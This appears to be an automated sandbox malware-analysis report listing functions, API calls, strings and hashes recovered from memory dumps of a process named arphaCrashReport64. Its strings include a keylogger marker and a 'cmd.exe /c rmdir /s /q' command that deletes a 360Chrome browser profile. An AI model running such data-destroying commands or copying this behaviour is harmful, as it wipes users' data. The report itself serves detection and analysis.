Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: CreateFileHandleMutex$Closelstrlen$DeleteErrorFolderLastModuleObjectPathReleaseSingleSizeSleepStateWaitlstrcatwsprintf
String ID: K^e^y^L^o^g^g^e^r
API String ID: 809812578-2826508260
Opcode ID: 89460a35c748eb327358448a72d58bcfd2f9277bad92bf41dea310a58b81c931
Instruction ID: 2e60c2b78fa135c4c6276173c74736bd0973485fe97c31593e0d7067e3e716ad
Opcode Fuzzy Hash: 89460a35c748eb327358448a72d58bcfd2f9277bad92bf41dea310a58b81c931
Instruction Fuzzy Hash: 04014B31104B41C2EB949B61B8CC2FD63A9FFE9780F795025E7CA46695DFB9C4C98700

Function 00000210AE4CEC62 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 25processCOMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE4CF1D0: CreateToolhelp32Snapshot.KERNEL32 ref: 00000210AE4CF1F7

WinExec.KERNEL32 ref: 00000210AE4CECC3

Part of subcall function 00000210AE4CF130: SHGetKnownFolderPath.SHELL32 ref: 00000210AE4CF166
Part of subcall function 00000210AE4CF130: wsprintfW.USER32 ref: 00000210AE4CF184

Strings

\AppData\Roaming\360se6\User Data\Default, xrefs: 00000210AE4CEC79, 00000210AE4CEC9F
360chrome.exe, xrefs: 00000210AE4CECAE
360se.exe, xrefs: 00000210AE4CEC8F
360se6.exe, xrefs: 00000210AE4CEC69
cmd.exe /c rmdir /s /q "%userprofile%\AppData\Local\360Chrome\Chrome\User Data\Default", xrefs: 00000210AE4CECBA

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: CreateExecFolderKnownPathSnapshotToolhelp32wsprintf
String ID: 360chrome.exe$360se.exe$360se6.exe$\AppData\Roaming\360se6\User Data\Default$cmd.exe /c rmdir /s /q "%userprofile%\AppData\Local\360Chrome\Chrome\User Data\Default"
API String ID: 3785949191-1706831714
Opcode ID: d1eaf7f8e489474969b91f961f9eca55b1cc3b354283557bd717e9cd878dd9fd
Instruction ID: de2b48171d74af07393905f63908a38f52a606511267cc547a8a74e92df59d14
Opcode Fuzzy Hash: d1eaf7f8e489474969b91f961f9eca55b1cc3b354283557bd717e9cd878dd9fd
Instruction Fuzzy Hash: 1BF04C3461574154FA54DB21DCD92E523A87FF8744FB414119BC9471A6DEECD5CA8310

Function 00000210AE1F0AA8 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000210AE1F0AC7

Part of subcall function 00000210AE1E96DC: _getptd.LIBCMT ref: 00000210AE1E96E0

_getptd.LIBCMT ref: 00000210AE1F0AD9
_getptd.LIBCMT ref: 00000210AE1F0AE7

Strings

csm, xrefs: 00000210AE1F0ABF
MOC, xrefs: 00000210AE1F0AB7
RCC, xrefs: 00000210AE1F0AAF

Memory Dump Source

Source File: 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae1d0000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd
String ID: MOC$RCC$csm
API String ID: 3186804695-2671469338
Opcode ID: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction ID: 5a90c930262d29801c05dddf3c6ad2e9f04f46c7bbce893cc26fb7911b7f7a97
Opcode Fuzzy Hash: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction Fuzzy Hash: F3F0C0345103348EE6556764809E3E431F0FF28306F6555E6AA848A2E3E7FC6CC08792

Function 00000210AE4E10F0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 20COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000210AE4E110F

Part of subcall function 00000210AE4D4958: _amsg_exit.LIBCMT ref: 00000210AE4D496E

Part of subcall function 00000210AE4D9D24: _getptd.LIBCMT ref: 00000210AE4D9D28

_getptd.LIBCMT ref: 00000210AE4E1121
_getptd.LIBCMT ref: 00000210AE4E112F

Strings

RCC, xrefs: 00000210AE4E10F7
MOC, xrefs: 00000210AE4E10FF
csm, xrefs: 00000210AE4E1107

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$_amsg_exit
String ID: MOC$RCC$csm
API String ID: 2610988583-2671469338
Opcode ID: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction ID: e7604f2230f40871098809550d9b01108e3d794e4065043c52e10e9011cfca22
Opcode Fuzzy Hash: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction Fuzzy Hash: 6EF0C93664034586E765AB65C4CD3EC25E8FFA8705FB690A187D442382CBEC58D08B52

Function 00000210AE4D5EF0 Relevance: 9.1, APIs: 6, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000210AE4D5F0F

Part of subcall function 00000210AE4D4958: _amsg_exit.LIBCMT ref: 00000210AE4D496E

Part of subcall function 00000210AE4D5B2C: _getptd.LIBCMT ref: 00000210AE4D5B36
Part of subcall function 00000210AE4D5B2C: _amsg_exit.LIBCMT ref: 00000210AE4D5BD3

Part of subcall function 00000210AE4D5BE8: GetOEMCP.KERNEL32(?,?,?,?,?,?,?,00000210AE4D5F2A,?,?,?,?,?,00000210AE4D60E7), ref: 00000210AE4D5C12

Part of subcall function 00000210AE4D52FC: malloc.LIBCMT ref: 00000210AE4D5327
Part of subcall function 00000210AE4D52FC: Sleep.KERNEL32(?,?,ceil,00000210AE4D9B11,?,?,?,00000210AE4D9BBB,?,?,00000000,00000210AE4D4875,?,?,00000000,00000210AE4D492C), ref: 00000210AE4D533A

free.LIBCMT ref: 00000210AE4D5F9A

Part of subcall function 00000210AE4D3D28: HeapFree.KERNEL32(?,?,00000000,00000210AE4D4940,?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA), ref: 00000210AE4D3D3E
Part of subcall function 00000210AE4D3D28: _errno.LIBCMT ref: 00000210AE4D3D48
Part of subcall function 00000210AE4D3D28: GetLastError.KERNEL32(?,?,00000000,00000210AE4D4940,?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA), ref: 00000210AE4D3D50

_lock.LIBCMT ref: 00000210AE4D5FCA
free.LIBCMT ref: 00000210AE4D606D
free.LIBCMT ref: 00000210AE4D6099
_errno.LIBCMT ref: 00000210AE4D609E

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: free$_amsg_exit_errno_getptd$ErrorFreeHeapLastSleep_lockmalloc
String ID:
API String ID: 3894533514-0
Opcode ID: eb00640c03e47e874c894215d7be1c1520d5e1d63ad340f99a6365e368a02bbf
Instruction ID: 76112b3b98445ddf0635d08895f6f4de03554ec8b9394501e27524aaf36a3598
Opcode Fuzzy Hash: eb00640c03e47e874c894215d7be1c1520d5e1d63ad340f99a6365e368a02bbf
Instruction Fuzzy Hash: 31519E3660078486FB55DB25A8C83ED77A9FFA0B84F748156DBDA47396CFB8C4818701

Function 00000210AE4D8BB4 Relevance: 9.1, APIs: 6, Instructions: 79COMMON

Download Yara Rule

APIs

_lock.LIBCMT ref: 00000210AE4D8BDB

Part of subcall function 00000210AE4D9B98: _amsg_exit.LIBCMT ref: 00000210AE4D9BC2

_errno.LIBCMT ref: 00000210AE4D8BEF
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE4D8BFB

Part of subcall function 00000210AE4D5664: GetCurrentProcess.KERNEL32(?,?,?,?,00000210AE4D5706), ref: 00000210AE4D567C

calloc.LIBCMT ref: 00000210AE4D8C3D
_errno.LIBCMT ref: 00000210AE4D8C4A
_errno.LIBCMT ref: 00000210AE4D8C55

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$CurrentProcess_amsg_exit_invalid_parameter_noinfo_lockcalloc
String ID:
API String ID: 1209116363-0
Opcode ID: 3d055b34e79a5cda464dcf1f1aea2af4a9904d0a9e2e1322d776b52311ff47c0
Instruction ID: 39cefc0319d4aaffd3f5df3e87364fb03c5356af67913b495200a88cf8e08ed1
Opcode Fuzzy Hash: 3d055b34e79a5cda464dcf1f1aea2af4a9904d0a9e2e1322d776b52311ff47c0
Instruction Fuzzy Hash: 24218631301B01C2F715AF56ACD93EA6299FF65BC0F644424AFC947786DFB8C8918300

Function 00000210AE4D976C Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00000210AE4D42ED), ref: 00000210AE4D9785
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00000210AE4D42ED), ref: 00000210AE4D97DC
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00000210AE4D42ED), ref: 00000210AE4D9817
free.LIBCMT ref: 00000210AE4D9824
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00000210AE4D42ED), ref: 00000210AE4D982F
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00000210AE4D42ED), ref: 00000210AE4D983D

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide$free
String ID:
API String ID: 517548149-0
Opcode ID: e92270d1c1e25466c38415bf8e68df5b368d6513ed967c410428f0e42ef408fa
Instruction ID: ab53fc2e6bb597a6adad4b139d726201361ca32265b14f6f7c2ccf3558ad0b7e
Opcode Fuzzy Hash: e92270d1c1e25466c38415bf8e68df5b368d6513ed967c410428f0e42ef408fa
Instruction Fuzzy Hash: 81218332A14B8086EB249F11B88829977E9FF99FC0F584014EFCA47754EFB8C491C704

Function 00000210AE4D48D4 Relevance: 9.0, APIs: 6, Instructions: 37threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA,?,?,?,?,00000210AE4E34F1), ref: 00000210AE4D48DE
FlsGetValue.KERNEL32(?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA,?,?,?,?,00000210AE4E34F1), ref: 00000210AE4D48EC
SetLastError.KERNEL32(?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA,?,?,?,?,00000210AE4E34F1), ref: 00000210AE4D4944

Part of subcall function 00000210AE4D537C: Sleep.KERNEL32(?,?,ceil,00000210AE4D4907,?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA), ref: 00000210AE4D53C1

FlsSetValue.KERNEL32(?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA,?,?,?,?,00000210AE4E34F1), ref: 00000210AE4D4918
free.LIBCMT ref: 00000210AE4D493B

Part of subcall function 00000210AE4D481C: _lock.LIBCMT ref: 00000210AE4D4870
Part of subcall function 00000210AE4D481C: _lock.LIBCMT ref: 00000210AE4D488F

GetCurrentThreadId.KERNEL32 ref: 00000210AE4D492C

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: ErrorLastValue_lock$CurrentSleepThreadfree
String ID:
API String ID: 3106088686-0
Opcode ID: 6ebd17abd531518c99cd0e2d202aae095663125e7d7d49137b697db85a716716
Instruction ID: 008951df193869ec9df556ec1af85b662a5b957821f72c65494363ee6d598b94
Opcode Fuzzy Hash: 6ebd17abd531518c99cd0e2d202aae095663125e7d7d49137b697db85a716716
Instruction Fuzzy Hash: EA01713420174182FE149B76E8DC2E86299BFACBA0F788224DB99023D1DEBCD4C48600

Function 00007FFD944729C0 Relevance: 9.0, APIs: 6, Instructions: 37threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FFD9447253D,?,?,?,?,00007FFD94471ECD,?,?,?,00007FFD944716FD), ref: 00007FFD944729CA
FlsGetValue.KERNEL32(?,?,?,00007FFD9447253D,?,?,?,?,00007FFD94471ECD,?,?,?,00007FFD944716FD), ref: 00007FFD944729D8
SetLastError.KERNEL32(?,?,?,00007FFD9447253D,?,?,?,?,00007FFD94471ECD,?,?,?,00007FFD944716FD), ref: 00007FFD94472A30

Part of subcall function 00007FFD94472CD0: Sleep.KERNEL32(?,?,?,00007FFD944729F3,?,?,?,00007FFD9447253D,?,?,?,?,00007FFD94471ECD), ref: 00007FFD94472D15

FlsSetValue.KERNEL32(?,?,?,00007FFD9447253D,?,?,?,?,00007FFD94471ECD,?,?,?,00007FFD944716FD), ref: 00007FFD94472A04
free.LIBCMT ref: 00007FFD94472A27

Part of subcall function 00007FFD9447290C: _lock.LIBCMT ref: 00007FFD9447295C
Part of subcall function 00007FFD9447290C: _lock.LIBCMT ref: 00007FFD9447297C

GetCurrentThreadId.KERNEL32 ref: 00007FFD94472A18

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: ErrorLastValue_lock$CurrentSleepThreadfree
String ID:
API String ID: 3106088686-0
Opcode ID: cfb8b4d3f9f268453a24d3586011c135f673f5bf1bd9900e77872722a9a9253e
Instruction ID: 8bbba225989ab5cd8552814c76805fe3100f65ef793ad6eaf47fc06f66cae59e
Opcode Fuzzy Hash: cfb8b4d3f9f268453a24d3586011c135f673f5bf1bd9900e77872722a9a9253e
Instruction Fuzzy Hash: 6E014034B0978282FA359FA5A5E40383291BF8A761B18C634C91D033DADE7CE44AC200

Function 00000210AE1F1350 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 224COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000210AE1F1381
_getptd.LIBCMT ref: 00000210AE1F139F
_CallSETranslator.LIBCMT ref: 00000210AE1F13E7

Part of subcall function 00000210AE1F0340: _getptd.LIBCMT ref: 00000210AE1F0367

Strings

MOC, xrefs: 00000210AE1F13B5
RCC, xrefs: 00000210AE1F13BD

Memory Dump Source

Source File: 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae1d0000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$CallTranslator
String ID: MOC$RCC
API String ID: 3569367362-2084237596
Opcode ID: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
Instruction ID: 87519bfa7ee4f2900b0f7bf72433b5faba6409f01c32f8bfa1270e1d6dffda72
Opcode Fuzzy Hash: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
Instruction Fuzzy Hash: 7971B030218B198EE724EF5484897E9B3E1FFA0314F600A6FD58AC3556EBB4B591C7C2

Function 00000210AE4E1998 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 143COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000210AE4E19C9

Part of subcall function 00000210AE4D4958: _amsg_exit.LIBCMT ref: 00000210AE4D496E

_getptd.LIBCMT ref: 00000210AE4E19E7
_CallSETranslator.LIBCMT ref: 00000210AE4E1A2F

Part of subcall function 00000210AE4E0988: _getptd.LIBCMT ref: 00000210AE4E09AF

Strings

RCC, xrefs: 00000210AE4E1A05
MOC, xrefs: 00000210AE4E19FD

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$CallTranslator_amsg_exit
String ID: MOC$RCC
API String ID: 1374396951-2084237596
Opcode ID: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
Instruction ID: 8edb05d26d7611a2f9b2a78dfce9d7e13f2d5be7d713606c74743ecfb0694cb2
Opcode Fuzzy Hash: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
Instruction Fuzzy Hash: DE61BE72204B8485EB60CB15E4D87EDB7A8FB91B88F644526DBDE47B85DFB8C191CB00

Function 00000210AE4E1511 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 00000210AE4E1564
_getptd.LIBCMT ref: 00000210AE4E1519

Part of subcall function 00000210AE4D4958: _amsg_exit.LIBCMT ref: 00000210AE4D496E

_getptd.LIBCMT ref: 00000210AE4E15DB
_getptd.LIBCMT ref: 00000210AE4E15E7

Strings

csm, xrefs: 00000210AE4E159B

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$ExceptionRaise_amsg_exit
String ID: csm
API String ID: 4155239085-1018135373
Opcode ID: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction ID: a21e8e1fadd2e1f016a56f3a5f01da4215329dbfb1f1654faf7046c3b8f9ce7a
Opcode Fuzzy Hash: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction Fuzzy Hash: 3931383610474086EA30DF12E0887DEB7A8FB657A5F644225DFEA03B91CF79D886CB00

Function 00000210AE4D23A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 00000210AE4D23FF
lstrcpy.KERNEL32 ref: 00000210AE4D2415
wsprintfA.USER32 ref: 00000210AE4D2444

Strings

UnKnow, xrefs: 00000210AE4D2409
SOFTWARE\%sW\, xrefs: 00000210AE4D2435

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: 25c50ad494a74fd68276a52b2ad7a8bf00471c7cb4c17d8fbebd1e3e914b1a27
Instruction ID: 080fa6a9eb5ec1702f4a0815a7ab16443684c3a3282c40190621ba7f07aedc0b
Opcode Fuzzy Hash: 25c50ad494a74fd68276a52b2ad7a8bf00471c7cb4c17d8fbebd1e3e914b1a27
Instruction Fuzzy Hash: 8C217131218B8181EB50DB65E8C87DAA7A5FBE8744F900011E7CD83A59EFBDC189CB04

Function 00000210AE4D22C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 00000210AE4D230D
lstrcpy.KERNEL32 ref: 00000210AE4D2323
wsprintfA.USER32 ref: 00000210AE4D2352

Strings

UnKnow, xrefs: 00000210AE4D2317
SOFTWARE\%sW\, xrefs: 00000210AE4D2343

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: 9a0f78225019bec5deb3bcd3db4271389db7be9a6f745cdf9b7e71a9e80b477f
Instruction ID: 6d6d9ad3b4b0af51041bf95e034afee61ba13181656e354ef5e4071493c09de9
Opcode Fuzzy Hash: 9a0f78225019bec5deb3bcd3db4271389db7be9a6f745cdf9b7e71a9e80b477f
Instruction Fuzzy Hash: 30112E32218B8192EB20DF15F8C97EA6365FBE8744FA44011D78D47959EF7DC589CB00

Function 00000210AE4D21D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 00000210AE4D222B
lstrcpy.KERNEL32 ref: 00000210AE4D2241
wsprintfA.USER32 ref: 00000210AE4D2270

Strings

UnKnow, xrefs: 00000210AE4D2235
SOFTWARE\%sW\, xrefs: 00000210AE4D2261

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: ce4fb7f75d1219ad2289e25997fa7daa82040d6d259ef8843f123cfa3a06188e
Instruction ID: 6cb8b14fc6a8e2d8b8656391f077860df3450676c4d0531f1de21e5666b7aeca
Opcode Fuzzy Hash: ce4fb7f75d1219ad2289e25997fa7daa82040d6d259ef8843f123cfa3a06188e
Instruction Fuzzy Hash: 29113D71218B8291FB20DB11E8D97E96366FFE8749FA00011D78D47AA5EFBDC189CB10

Function 00000210AE4CF600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00000210AE4CF629
RegGetValueA.ADVAPI32 ref: 00000210AE4CF666
RegCloseKey.ADVAPI32 ref: 00000210AE4CF681

Strings

Start, xrefs: 00000210AE4CF64B
SOFTWARE\Classes\*\shellex, xrefs: 00000210AE4CF60B

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: CloseOpenValue
String ID: SOFTWARE\Classes\*\shellex$Start
API String ID: 779948276-205936948
Opcode ID: 0ca0d2eb96febe7c3f1de3174b521f459ddaae00c317af299b2ead55954e0038
Instruction ID: 6795b4796e682d0953330ea8757787db13033fe5d30e340b3b9e1c13fa86785b
Opcode Fuzzy Hash: 0ca0d2eb96febe7c3f1de3174b521f459ddaae00c317af299b2ead55954e0038
Instruction Fuzzy Hash: 1B015E72305B8586DB10CB61F48879AB3A8FB98798F500125EBCD43B68DFBCC589CB00

Function 00007FFD94477A88 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00007FFD94477A9F

Part of subcall function 00007FFD94475474: _getptd.LIBCMT ref: 00007FFD94475478

_getptd.LIBCMT ref: 00007FFD94477AB1
_getptd.LIBCMT ref: 00007FFD94477ABF

Strings

csm, xrefs: 00007FFD94477A97
MOC, xrefs: 00007FFD94477A8F

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd
String ID: MOC$csm
API String ID: 3186804695-1389381023
Opcode ID: 4a34930d29bf81a0581adaca7159c768ebe2e98b5ac62447c7710d4d58faff46
Instruction ID: 8046862793133a254399676b8a90a71d34b583be187165e0bb34f725c1dcc536
Opcode Fuzzy Hash: 4a34930d29bf81a0581adaca7159c768ebe2e98b5ac62447c7710d4d58faff46
Instruction Fuzzy Hash: 70E0ED35E0550285E6792B94C0953B836D0BB95705F85C470C248477978BFCA596C692

Function 00000210AE1D7698 Relevance: 7.7, APIs: 5, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE1E2C48: malloc.LIBCMT ref: 00000210AE1E2C62

std::exception::exception.LIBCMT ref: 00000210AE1D775F
free.LIBCMT ref: 00000210AE1D77CF
free.LIBCMT ref: 00000210AE1D77E1
free.LIBCMT ref: 00000210AE1D77F3
free.LIBCMT ref: 00000210AE1D7805

Memory Dump Source

Source File: 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae1d0000_arphaCrashReport64.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID:
API String ID: 4069110180-0
Opcode ID: ec827b053d5fad73fcf0492e3d2725338dc407ece077524a1dae6e7b927291dc
